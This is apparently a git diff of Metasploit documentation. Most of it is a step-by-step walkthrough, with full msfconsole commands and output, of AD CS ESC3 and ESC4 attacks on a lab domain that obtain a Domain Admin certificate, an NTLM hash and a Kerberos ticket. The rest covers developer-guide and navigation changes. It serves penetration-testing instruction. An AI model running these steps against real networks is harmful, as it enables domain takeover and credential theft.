To exploit ESC3 vulnerable templates we will use a similar process to ESC2 templates but with slightly different steps. First, lets return to the earlier output where we can find several templates that are vulnerable to ESC3 attacks. However we need to split them by attack vector. The reason is that the first half of this attack needs to use the ESC3_TEMPLATE_1 vulnerable certificate templates to enroll in a certificate template that has the Certificate Request Agent OID (1.3.6.1.4.1.311.20.2.1) that allows one to request certificates on behalf of other principals (such as users or computers).
|
||||
To exploit ESC3 vulnerable templates we will use a similar process to
|
||||
[[ESC2|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc2-to-gain-domain-administrator-privileges]] templates but
|
||||
with slightly different steps. First, let's return to the earlier output where we can find several templates that are
|
||||
vulnerable to ESC3 attacks. However we need to split them by attack vector. The reason is that the first half of this
|
||||
attack needs to use the ESC3_TEMPLATE_1 vulnerable certificate templates to enroll in a certificate template that has
|
||||
the Certificate Request Agent OID (1.3.6.1.4.1.311.20.2.1) that allows one to request certificates on behalf of other
|
||||
principals (such as users or computers).
|
||||
|
||||
The second part of this attack will then require that we co-sign requests for another certificate using the certificate that we just got, to then request a certificate that can authenticate to the domain on behalf of another user. To do this we will need to look for certificates in the `ldap_esc_vulnerable_cert_finder` module which are labeled as being vulnerable to the ESC3_TEMPLATE_2 attack.
|
||||
The second part of this attack will then require that we co-sign requests for another certificate using the certificate
|
||||
that we just got, to then request a certificate that can authenticate to the domain on behalf of another user. To do
|
||||
this we will need to look for certificates in the `ldap_esc_vulnerable_cert_finder` module which are labeled as being
|
||||
vulnerable to the ESC3_TEMPLATE_2 attack.
|
||||
|
||||
The list of ESC3_TEMPLATE_1 vulnerable templates is pretty short and consists of a single template:
|
||||
- ESC3-TEMPLATE-1 - Vulnerable to ESC3_TEMPLATE_1 and allows enrollment via any authenticated domain user.
|
||||
|
||||
ESC3_TEMPLATE_2 are more plentiful though and we can find a few that are of interest:
|
||||
- SubCA - Again as mentioned earlier can only be enrolled in by Doman Admins and Enterprise Admins, so not a viable vector.
|
||||
- SubCA - Again as mentioned earlier can only be enrolled in by Domain Admins and Enterprise Admins, so not a viable vector.
|
||||
- ESC3-Template2 - Enrollable via any authenticated domain user.
|
||||
- User - Enrollable via any authenticated domain user.
|
||||
- Administrator - Can only be enrolled in by Doman Admins and Enterprise Admins, so not a viable vector.
|
||||
- Administrator - Can only be enrolled in by Domain Admins and Enterprise Admins, so not a viable vector.
|
||||
- Machine - No real overlap between Domain Computers and Authenticated Users I don't think?
|
||||
- DomainController - Can only be enrolled in by Domain Admins and Enterprise Admins, so not a viable vector.
|
||||
|
||||
@@ -572,10 +609,10 @@ Auxiliary action:
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normal
|
||||
SMBUser => normal
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normaluser
|
||||
SMBPass => normaluser
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
|
||||
SMBUser => normaluser
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
|
||||
SMBPass => normalpass
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain DAFOREST
|
||||
SMBDomain => DAFOREST
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
|
||||
@@ -606,7 +643,7 @@ host service type name content info
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) >
|
||||
```
|
||||
|
||||
Next we'll try use this certificate to request another certificate on behalf of a different user. For this stage we need to specify another certificate that is vulnerable to the ESC3_TEMPLATE_2 attack vector that we are able to enroll in. We will use the `User` template for this:
|
||||
Next, we'll try use this certificate to request another certificate on behalf of a different user. For this stage we need to specify another certificate that is vulnerable to the ESC3_TEMPLATE_2 attack vector that we are able to enroll in. We will use the `User` template for this:
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set PFX /home/gwillcox/.msf4/loot/20221216174221_default_unknown_windows.ad.cs_027866.pfx
|
||||
@@ -632,8 +669,8 @@ Module options (auxiliary/admin/dcerpc/icpr_cert):
|
||||
tasploit-framework/wiki/Using-Metasploit
|
||||
RPORT 445 yes The target port (TCP)
|
||||
SMBDomain DAFOREST no The Windows domain to use for authentication
|
||||
SMBPass normaluser no The password for the specified username
|
||||
SMBUser normal no The username to authenticate as
|
||||
SMBPass normalpass no The password for the specified username
|
||||
SMBUser normaluser no The username to authenticate as
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
@@ -684,8 +721,8 @@ Module options (auxiliary/admin/dcerpc/icpr_cert):
|
||||
tasploit-framework/wiki/Using-Metasploit
|
||||
RPORT 445 yes The target port (TCP)
|
||||
SMBDomain DAFOREST no The Windows domain to use for authentication
|
||||
SMBPass normaluser no The password for the specified username
|
||||
SMBUser normal no The username to authenticate as
|
||||
SMBPass normalpass no The password for the specified username
|
||||
SMBUser normaluser no The username to authenticate as
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
@@ -713,46 +750,207 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) >
|
||||
We can then use the `kerberos/get_ticket` module to gain a Kerberos ticket granting ticket (TGT) as the `Administrator`
|
||||
domain administrator. See the [Getting A Kerberos Ticket](#getting-a-kerberos-ticket) section for more information.
|
||||
|
||||
# Getting A Kerberos Ticket
|
||||
Once a certificate for a user has been claimed, that certificate can be used to issue a Kerberos ticket granting ticket
|
||||
(TGT) which in tern can be used to authenticate to services.
|
||||
# Exploiting ESC4 To Gain Domain Administrator Privileges
|
||||
To exploit ESC4, we will require an account with write privileges over a certificate template object in Active
|
||||
Directory. This involves finding an object with weak permissions defined within the `nTSecurityDescriptor` field. With
|
||||
this object identified, we can modify it to reconfigure the template to be vulnerable to another ESC technique.
|
||||
|
||||
Ticket granting tickets can be requested using the [[kerberos/get_ticket|kerberos/get_ticket.md]] module by specifying
|
||||
the `CERT_FILE` option. Take the certificate file from the last stage of the attack and set it as the `CERT_FILE`.
|
||||
Certificates from Metasploit do not require a password, but if the certificate was generated from a source that added
|
||||
one, it can be specified in the `CERT_PASSWORD` option. Set the `RHOST` datastore option to the Domain Controller, then
|
||||
run the `GET_TGT` action.
|
||||
First, we will use the `icpr_cert` module in an attempt to exploit ESC1 (by setting `ALT_UPN`). This fails because
|
||||
the `ESC4-Test` certificate template does not allow the certificate's subject name to be supplied in the request (the
|
||||
`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` flag is not set in the `msPKI-Certificate-Name-Flag` field).
|
||||
|
||||
```msf
|
||||
msf6 > use kerberos/get_ticket
|
||||
msf6 > use auxiliary/admin/dcerpc/icpr_cert
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
|
||||
RHOSTS => 172.30.239.85
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
|
||||
SMBUser => normaluser
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
|
||||
SMBPass => normalpass
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA daforest-WIN-BR0CCBA815B-CA
|
||||
CA => daforest-WIN-BR0CCBA815B-CA
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC4-Test
|
||||
CERT_TEMPLATE => ESC4-Test
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN Administrator@daforest.com
|
||||
ALT_UPN => Administrator@daforest.com
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > run
|
||||
[*] Running module against 172.30.239.85
|
||||
|
||||
Matching Modules
|
||||
================
|
||||
[-] 172.30.239.85:445 - There was an error while requesting the certificate.
|
||||
[-] 172.30.239.85:445 - Denied by Policy Module
|
||||
[-] 172.30.239.85:445 - Error details:
|
||||
[-] 172.30.239.85:445 - Source: (0x0009) FACILITY_SECURITY: The source of the error code is the Security API layer.
|
||||
[-] 172.30.239.85:445 - HRESULT: (0x80094812) CERTSRV_E_SUBJECT_EMAIL_REQUIRED: The email name is unavailable and cannot be added to the Subject or Subject Alternate name.
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) >
|
||||
```
|
||||
|
||||
# Name Disclosure Date Rank Check Description
|
||||
- ---- --------------- ---- ----- -----------
|
||||
0 auxiliary/admin/kerberos/get_ticket normal No Kerberos TGT/TGS Ticket Requester
|
||||
Next, we use the `ad_cs_cert_template` module to update the `ESC4-Test` certificate template. This process first makes a
|
||||
backup of the certificate data that can be used later. Next, the local certificate template data is read and used to
|
||||
update the object in Active Directory. The local certificate template data can be modified to set a custom security
|
||||
descriptor.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > use auxiliary/admin/ldap/ad_cs_cert_template
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set RHOSTS 172.30.239.85
|
||||
RHOSTS => 172.30.239.85
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set USERNAME normaluser
|
||||
USERNAME => normaluser
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set PASSWORD normalpass
|
||||
PASSWORD => normalpass
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set CERT_TEMPLATE ESC4-Test
|
||||
CERT_TEMPLATE => ESC4-Test
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set ACTION UPDATE
|
||||
ACTION => UPDATE
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set VERBOSE true
|
||||
VERBOSE => true
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run
|
||||
[*] Running module against 172.30.239.85
|
||||
|
||||
Interact with a module by name or index. For example info 0, use 0 or use auxiliary/admin/kerberos/get_ticket
|
||||
[+] Successfully bound to the LDAP server!
|
||||
[*] Discovering base DN automatically
|
||||
[*] 172.30.239.85:389 Getting root DSE
|
||||
[+] 172.30.239.85:389 Discovered base DN: DC=daforest,DC=com
|
||||
[+] Read certificate template data for: CN=ESC4-Test,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
|
||||
[*] Certificate template data written to: /home/smcintyre/.msf4/loot/20230505083802_default_172.30.239.85_windows.ad.cs.te_593597.json
|
||||
[*] Parsing SDDL text: D:PAI(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU)
|
||||
[+] The operation completed successfully!
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) >
|
||||
```
|
||||
|
||||
[*] Using auxiliary/admin/kerberos/get_ticket
|
||||
msf6 auxiliary(admin/kerberos/get_ticket) > get_tgt rhosts=192.168.159.10 cert_file=/home/smcintyre/.msf4/loot/20230124173224_default_192.168.159.10_windows.ad.cs_287833.pfx
|
||||
[*] Running module against 192.168.159.10
|
||||
Now that the certificate template has been updated to be vulnerable to ESC1, then we can use the `previous` shortcut
|
||||
to switch back to the last module and reattempt to issue the certificate. This time, the operation succeeds.
|
||||
|
||||
[*] 192.168.159.10:88 - Getting TGT for smcintyre@msflab.local
|
||||
[+] 192.168.159.10:88 - Received a valid TGT-Response
|
||||
[*] 192.168.159.10:88 - TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230124202354_default_192.168.159.10_mit.kerberos.cca_566767.bin
|
||||
```msf
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > previous
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > run
|
||||
[*] Running module against 172.30.239.85
|
||||
|
||||
[+] 172.30.239.85:445 - The requested certificate was issued.
|
||||
[*] 172.30.239.85:445 - Certificate UPN: Administrator@daforest.com
|
||||
[*] 172.30.239.85:445 - Certificate stored at: /home/smcintyre/.msf4/loot/20230505083913_default_172.30.239.85_windows.ad.cs_275324.pfx
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) >
|
||||
```
|
||||
|
||||
Finally, we switch back to the `ad_cs_cert_template` module to restore the original configuration. We do this by
|
||||
setting the local template data option `TEMPLATE_FILE` to the JSON file that was created by the previous run.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > previous
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set TEMPLATE_FILE /home/smcintyre/.msf4/loot/20230505083802_default_172.30.239.85_windows.ad.cs.te_593597.json
|
||||
TEMPLATE_FILE => /home/smcintyre/.msf4/loot/20230505083802_default_172.30.239.85_windows.ad.cs.te_593597.json
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run
|
||||
[*] Running module against 172.30.239.85
|
||||
|
||||
[+] Successfully bound to the LDAP server!
|
||||
[*] Discovering base DN automatically
|
||||
[*] 172.30.239.85:389 Getting root DSE
|
||||
[+] 172.30.239.85:389 Discovered base DN: DC=daforest,DC=com
|
||||
[+] Read certificate template data for: CN=ESC4-Test,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
|
||||
[*] Certificate template data written to: /home/smcintyre/.msf4/loot/20230505083942_default_172.30.239.85_windows.ad.cs.te_000095.json
|
||||
[+] The operation completed successfully!
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) >
|
||||
```
|
||||
|
||||
At this point the certificate template's configuration has been restored and the operator has a certificate that can be
|
||||
used to authenticate to Active Directory as the Domain Admin.
|
||||
|
||||
# Authenticating With A Certificate
|
||||
Metasploit supports authenticating with certificates in a couple of different ways. These techniques can be used to take
|
||||
further actions once a certificate has been issued for a particular identity (such as a Domain Admin user).
|
||||
|
||||
## Authenticating To Kerberos
|
||||
Certificates can be used to authenticate to Kerberos using the [[kerberos/get_ticket|kerberos/get_ticket.md]] module by
|
||||
specifying the `CERT_FILE` option. Take the certificate file from the last stage of the attack and set it as the
|
||||
`CERT_FILE`. Certificates from Metasploit do not require a password, but if the certificate was generated from a source
|
||||
that added one, it can be specified in the `CERT_PASSWORD` option. Set the `RHOST` to the Domain Controller which is the
|
||||
Key Distribution Center (KDC) for the Active Directory environment.
|
||||
|
||||
### Getting An NT Hash
|
||||
Certificates can be used to obtain the NTLM hash of an account with the PKINIT extension. To request the hash, set the
|
||||
action to `GET_HASH`.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/kerberos/get_ticket) > get_hash rhosts=172.30.239.85 cert_file=/home/smcintyre/.msf4/loot/20230505083913_default_172.30.239.85_windows.ad.cs_275324.pfx
|
||||
[*] Running module against 172.30.239.85
|
||||
|
||||
[+] 172.30.239.85:88 - Received a valid TGT-Response
|
||||
[*] 172.30.239.85:88 - TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230505094204_default_172.30.239.85_mit.kerberos.cca_324339.bin
|
||||
[*] 172.30.239.85:88 - Getting NTLM hash for Administrator@daforest.com
|
||||
[+] 172.30.239.85:88 - Received a valid TGS-Response
|
||||
[*] 172.30.239.85:88 - TGS MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230505094204_default_172.30.239.85_mit.kerberos.cca_031414.bin
|
||||
[+] Found NTLM hash for Administrator: aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/kerberos/get_ticket) >
|
||||
```
|
||||
|
||||
### Getting A Kerberos Ticket
|
||||
Certificates can be used to issue a Kerberos ticket granting ticket (TGT) which in turn can be used to authenticate to
|
||||
services such as HTTP, LDAP and SMB. Ticket granting tickets can be requested using the `GET_TGT` action.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/kerberos/get_ticket) > get_tgt rhosts=172.30.239.85 cert_file=/home/smcintyre/.msf4/loot/20230124173224_default_172.30.239.85_windows.ad.cs_287833.pfx
|
||||
[*] Running module against 172.30.239.85
|
||||
|
||||
[*] 172.30.239.85:88 - Getting TGT for Administrator@daforest.com
|
||||
[+] 172.30.239.85:88 - Received a valid TGT-Response
|
||||
[*] 172.30.239.85:88 - TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230124202354_default_172.30.239.85_mit.kerberos.cca_566767.bin
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/kerberos/get_ticket) > klist
|
||||
Kerberos Cache
|
||||
==============
|
||||
host principal sname issued status path
|
||||
---- --------- ----- ------ ------ ----
|
||||
192.168.159.10 smcintyre@MSFLAB.LOCAL krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-01-24 20:23:54 -0500 valid /home/smcintyre/.msf4/loot/20230124202354_default_192.168.159.10_mit.kerberos.cca_566767.bin
|
||||
host principal sname issued status path
|
||||
---- --------- ----- ------ ------ ----
|
||||
172.30.239.85 Administrator@daforest.com krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-01-24 20:23:54 -0500 valid /home/smcintyre/.msf4/loot/20230124202354_default_172.30.239.85_mit.kerberos.cca_566767.bin
|
||||
|
||||
msf6 auxiliary(admin/kerberos/get_ticket) >
|
||||
```
|
||||
|
||||
Once the TGT has been issued, it can be seen in the output of the `klist` command. With the TGT saved, it will
|
||||
automatically be used in the future to request ticket granting services (TGS) for authentication to specific services.
|
||||
|
||||
## Authenticating To LDAP
|
||||
Certificates can also be used to directly authenticate to LDAP using schannel. Metasploit modules that use the builtin
|
||||
LDAP library (including `auxiliary/gather/ldap_query`) offer this as an authentication option that can be enabled. To
|
||||
use schannel authentication a few options must be set.
|
||||
|
||||
* `LDAP::Auth` -- must be set to `schannel`
|
||||
* `LDAP::CertFile` -- must be set to the PFX certificate file with which to authenticate
|
||||
* `SSL` -- must be set to `true` (`schannel` authentication is only compatible with TLS connections)
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(gather/ldap_query) > set RHOSTS 172.30.239.85
|
||||
RHOSTS => 172.30.239.85
|
||||
msf6 auxiliary(gather/ldap_query) > set LDAP::Auth schannel
|
||||
LDAP::Auth => schannel
|
||||
msf6 auxiliary(gather/ldap_query) > set LDAP::CertFile /home/smcintyre/.msf4/loot/20230505083913_default_172.30.239.85_windows.ad.cs_275324.pfx
|
||||
LDAP::CertFile => /home/smcintyre/.msf4/loot/20230505083913_default_172.30.239.85_windows.ad.cs_275324.pfx
|
||||
msf6 auxiliary(gather/ldap_query) > set SSL true
|
||||
[!] Changing the SSL option's value may require changing RPORT!
|
||||
SSL => true
|
||||
msf6 auxiliary(gather/ldap_query) > enum_domain
|
||||
[*] Running module against 172.30.239.85
|
||||
|
||||
[*] Discovering base DN automatically
|
||||
[+] 172.30.239.85:389 Discovered base DN: DC=daforest,DC=com
|
||||
[+] 172.30.239.85:389 Discovered schema DN: DC=daforest,DC=com
|
||||
DC=msflab DC=local
|
||||
==================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
lockoutduration 0:00:30:00
|
||||
lockoutthreshold 0
|
||||
maxpwdage 42:00:00:00
|
||||
minpwdage 1:00:00:00
|
||||
minpwdlength 7
|
||||
ms-ds-machineaccountquota 10
|
||||
name msflab
|
||||
objectsid S-1-5-21-3402587289-1488798532-3618296993
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(gather/ldap_query) >
|
||||
```
|
||||
|
||||
+5
-10
@@ -2,7 +2,7 @@
|
||||
|
||||
This is a guide for setting up a developer environment to contribute modules, documentation, and fixes to the Metasploit Framework. If you just want to use Metasploit for legal, authorized hacking, we recommend instead you:
|
||||
|
||||
- Install the [open-source Omnibus installer][open-source-installer], or
|
||||
- Install the [[open-source Omnibus installer|./nightly-installers.md]], or
|
||||
- Use the pre-installed Metasploit on [Kali Linux][kali-user-instructions] or [Parrot Linux][parrot-user-instructions].
|
||||
|
||||
If you want to contribute to Metasploit, start by reading our [CONTRIBUTING.md], then follow the rest of this guide.
|
||||
@@ -155,7 +155,7 @@ cd ~/git/metasploit-framework
|
||||
$ ./msfconsole -qx "db_status; exit"
|
||||
```
|
||||
|
||||
Congratulations! You have now set up the [Metasploit Web Service (REST API)][msf-web-service] and the backend database.
|
||||
Congratulations! You have now set up the [[Metasploit Web Service (REST API)|./metasploit-web-service.md]] and the backend database.
|
||||
|
||||
## Optional: Tips to speed up common workflows
|
||||
|
||||
@@ -167,7 +167,7 @@ Making sure you're in the right directory to run `msfconsole` can become tedious
|
||||
echo 'alias msfconsole="pushd $HOME/git/metasploit-framework && ./msfconsole && popd"' >> ~/.bash_aliases
|
||||
```
|
||||
|
||||
Consider generating a GPG key to sign your commits. Read about [why][git-horror] and [how][signing-howto]. Once you have done this, consider enabling automatic signing of all your commits with the following command:
|
||||
Consider generating a GPG key to sign your commits. Read about [why][git-horror] and [[how|./committer-keys.md#signing-your-commits-and-merges]]. Once you have done this, consider enabling automatic signing of all your commits with the following command:
|
||||
|
||||
```
|
||||
cd *path to your cloned MSF repository on disk*
|
||||
@@ -176,7 +176,7 @@ git config commit.gpgsign true
|
||||
|
||||
Developers tend to customize their own [git aliases] to speed up common commands, but here are a few common ones:
|
||||
|
||||
```rc
|
||||
```
|
||||
[alias]
|
||||
# An easy, colored oneline log format that shows signed/unsigned status
|
||||
nicelog = log --pretty=format:'%Cred%h%Creset -%Creset %s %Cgreen(%cr) %C(bold blue)<%aE>%Creset [%G?]'
|
||||
@@ -212,12 +212,11 @@ You should see over 9000 tests run, mostly resulting in green dots, a few in yel
|
||||
|
||||
# Great! Now what?
|
||||
|
||||
We're excited to see your upcoming contributions of new modules, documentation, and fixes! Check out our [wiki documentation][wiki-documentation] and, if you're looking for inspiration, keep an eye out for [newbie-friendly pull requests and issues][newbie-friendly-prs-issues]. Please [submit your new pull requests][howto-PR] and reach out to us on [Slack] for community help.
|
||||
We're excited to see your upcoming contributions of new modules, documentation, and fixes! If you're looking for inspiration, keep an eye out for [newbie-friendly pull requests and issues][newbie-friendly-prs-issues]. Please [submit your new pull requests][howto-PR] and reach out to us on [Slack] for community help.
|
||||
|
||||
Finally, we welcome your feedback on this guide, so feel free to reach out to us on [Slack] or open a [new issue]. For their significant contributions to this guide, we would like to thank [@kernelsmith], [@corelanc0d3r], and [@ffmike].
|
||||
|
||||
[commercial-installer]:http://metasploit.com/download
|
||||
[open-source-installer]:https://docs.metasploit.com/docs/using-metasploit/getting-started/nightly-installers.html
|
||||
[kali-user-instructions]:https://docs.kali.org/general-use/starting-metasploit-framework-in-kali
|
||||
[parrot-user-instructions]:https://parrotsec.org/docs/installation.html
|
||||
[CONTRIBUTING.md]:https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md
|
||||
@@ -240,14 +239,10 @@ Finally, we welcome your feedback on this guide, so feel free to reach out to us
|
||||
[find]:https://linux.die.net/man/1/find
|
||||
[$PATH]:https://askubuntu.com/questions/109381/how-to-add-path-of-a-program-to-path-environment-variable
|
||||
|
||||
[msf-web-service]:https://docs.metasploit.com/docs/using-metasploit/advanced/metasploit-web-service.html
|
||||
|
||||
[git-horror]:https://mikegerwitz.com/papers/git-horror-story#trust-ensure
|
||||
[signing-howto]:https://docs.metasploit.com/docs/development/maintainers/committer-keys.html#signing-howto
|
||||
|
||||
[git aliases]:https://git-scm.com/book/en/v2/Git-Basics-Git-Aliases
|
||||
[rspec]:https://www.rubyguides.com/2018/07/rspec-tutorial/
|
||||
[wiki-documentation]:https://docs.metasploit.com/#metasploit-development
|
||||
[newbie-friendly-prs-issues]:https://github.com/rapid7/metasploit-framework/issues?q=is%3Aopen+label%3Anewbie-friendly
|
||||
[howto-PR]:https://help.github.com/articles/about-pull-requests/
|
||||
[new issue]:https://github.com/rapid7/metasploit-framework/issues/new/choose
|
||||
|
||||
+41
-19
@@ -1,7 +1,7 @@
|
||||
# This file maps the files within `metasploit-framework.wiki/` to the navigational menu
|
||||
# Modify this file to change the doc site's navigation/hierarchy
|
||||
|
||||
# @param path [String] the prefix to remove from a string
|
||||
# @param prefix [String] The prefix to remove from a string
|
||||
# @return [proc<String, String>] When called with a string, the returned string has the prefix removed
|
||||
def without_prefix(prefix)
|
||||
proc { |value| value.sub(/^#{prefix}/, '') }
|
||||
@@ -63,10 +63,15 @@ NAVIGATION_CONFIG = [
|
||||
path: 'Code-Of-Conduct.md',
|
||||
nav_order: 2
|
||||
},
|
||||
{
|
||||
path: 'Modules.md',
|
||||
title: 'Modules',
|
||||
nav_order: 3
|
||||
},
|
||||
{
|
||||
title: 'Pentesting',
|
||||
folder: 'pentesting',
|
||||
nav_order: 3,
|
||||
nav_order: 4,
|
||||
children: [
|
||||
{
|
||||
path: 'Metasploit-Guide-Setting-Module-Options.md',
|
||||
@@ -178,6 +183,10 @@ NAVIGATION_CONFIG = [
|
||||
{
|
||||
path: '../../documentation/modules/auxiliary/admin/kerberos/ticket_converter.md',
|
||||
title: 'Converting kirbi and ccache files'
|
||||
},
|
||||
{
|
||||
path: '../../documentation/modules/auxiliary/admin/ldap/rbcd.md',
|
||||
title: 'RBCD - Resource-based constrained delegation'
|
||||
}
|
||||
]
|
||||
},
|
||||
@@ -188,20 +197,26 @@ NAVIGATION_CONFIG = [
|
||||
{
|
||||
path: 'ad-certificates/overview.md',
|
||||
title: 'Overview',
|
||||
nav_order: 0,
|
||||
nav_order: 0
|
||||
},
|
||||
{
|
||||
path: 'ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md',
|
||||
title: 'Attacking AD CS ESC Vulnerabilities Using Metasploit',
|
||||
nav_order: 1
|
||||
},
|
||||
{
|
||||
path: '../../documentation/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.md',
|
||||
title: 'Vulnerable cert finder',
|
||||
nav_order: 2
|
||||
},
|
||||
{
|
||||
path: '../../documentation/modules/auxiliary/admin/ldap/ad_cs_cert_template.md',
|
||||
title: 'Manage certificate templates'
|
||||
},
|
||||
{
|
||||
path: '../../documentation/modules/auxiliary/admin/dcerpc/icpr_cert.md',
|
||||
title: 'Request certificates'
|
||||
},
|
||||
{
|
||||
path: '../../documentation/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.md',
|
||||
title: 'Vulnerable cert finder'
|
||||
},
|
||||
{
|
||||
path: 'ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md',
|
||||
title: 'Attacking AD CS ESC Vulnerabilities Using Metasploit'
|
||||
},
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
@@ -211,7 +226,7 @@ NAVIGATION_CONFIG = [
|
||||
{
|
||||
title: 'Using Metasploit',
|
||||
folder: 'using-metasploit',
|
||||
nav_order: 4,
|
||||
nav_order: 5,
|
||||
children: [
|
||||
{
|
||||
title: 'Getting Started',
|
||||
@@ -422,7 +437,7 @@ NAVIGATION_CONFIG = [
|
||||
{
|
||||
title: 'Development',
|
||||
folder: 'development',
|
||||
nav_order: 5,
|
||||
nav_order: 6,
|
||||
children: [
|
||||
{
|
||||
title: 'Get Started ',
|
||||
@@ -517,6 +532,10 @@ NAVIGATION_CONFIG = [
|
||||
{
|
||||
path: 'How-to-use-command-stagers.md'
|
||||
},
|
||||
{
|
||||
path: 'How-to-use-fetch-payloads.md',
|
||||
title: 'How to use Fetch Payloads'
|
||||
},
|
||||
{
|
||||
old_wiki_path: 'How-to-write-a-check()-method.md',
|
||||
path: 'How-to-write-a-check-method.md'
|
||||
@@ -596,10 +615,6 @@ NAVIGATION_CONFIG = [
|
||||
path: 'How-to-use-the-Seh-mixin-to-exploit-an-exception-handler.md',
|
||||
title: 'SEH Exploitation'
|
||||
},
|
||||
{
|
||||
path: 'How-to-clean-up-files-using-FileDropper.md',
|
||||
title: 'FileDropper'
|
||||
},
|
||||
{
|
||||
path: 'How-to-use-PhpEXE-to-exploit-an-arbitrary-file-upload-bug.md',
|
||||
title: 'PhpExe'
|
||||
@@ -686,6 +701,10 @@ NAVIGATION_CONFIG = [
|
||||
path: 'Using-ReflectiveDLL-Injection.md',
|
||||
title: 'ReflectiveDLL Injection'
|
||||
},
|
||||
{
|
||||
path: 'How-to-cleanup-after-module-execution.md',
|
||||
title: 'Cleanup'
|
||||
},
|
||||
]
|
||||
},
|
||||
{
|
||||
@@ -815,6 +834,9 @@ NAVIGATION_CONFIG = [
|
||||
},
|
||||
{
|
||||
path: 'Loading-Test-Modules.md'
|
||||
},
|
||||
{
|
||||
path: 'Measuring-Metasploit-Performance.md'
|
||||
}
|
||||
]
|
||||
},
|
||||
@@ -928,6 +950,6 @@ NAVIGATION_CONFIG = [
|
||||
},
|
||||
{
|
||||
path: 'Contact.md',
|
||||
nav_order: 5
|
||||
nav_order: 7
|
||||
},
|
||||
].freeze
|
||||
|
||||
@@ -1,3 +1,7 @@
|
||||
# Folder Purpose
|
||||
This folder is primarily used to hold documentation for Metasploit's various modules, as well as the developers guide
|
||||
at `developers_guide.pdf`.
|
||||
|
||||
# Metasploit Developer Documentation
|
||||
|
||||
Metasploit is actively supported by a community of hundreds of
|
||||
@@ -19,7 +23,7 @@ treasures there, such as:
|
||||
## API Documentation
|
||||
|
||||
If you are looking for API documentation, you may run `rake yard` to
|
||||
generate a navigatable view of the comment documentation used throughout
|
||||
generate a navigable view of the comment documentation used throughout
|
||||
Metasploit, or visit https://rapid7.github.io/metasploit-framework/api
|
||||
for a recently generated online version.
|
||||
|
||||
|
||||
@@ -21,6 +21,15 @@ The certificate template to issue, e.g. "User".
|
||||
### ALT_DNS
|
||||
Alternative DNS name to specify in the certificate. Useful in certain attack scenarios.
|
||||
|
||||
### ALT_SID
|
||||
Alternative object SID to specify in the NTDS_CA_SECURITY_EXT extension. This is useful when exploiting ESC1 on a target
|
||||
where the [KB5014754][KB5014754] patch has been applied.
|
||||
|
||||
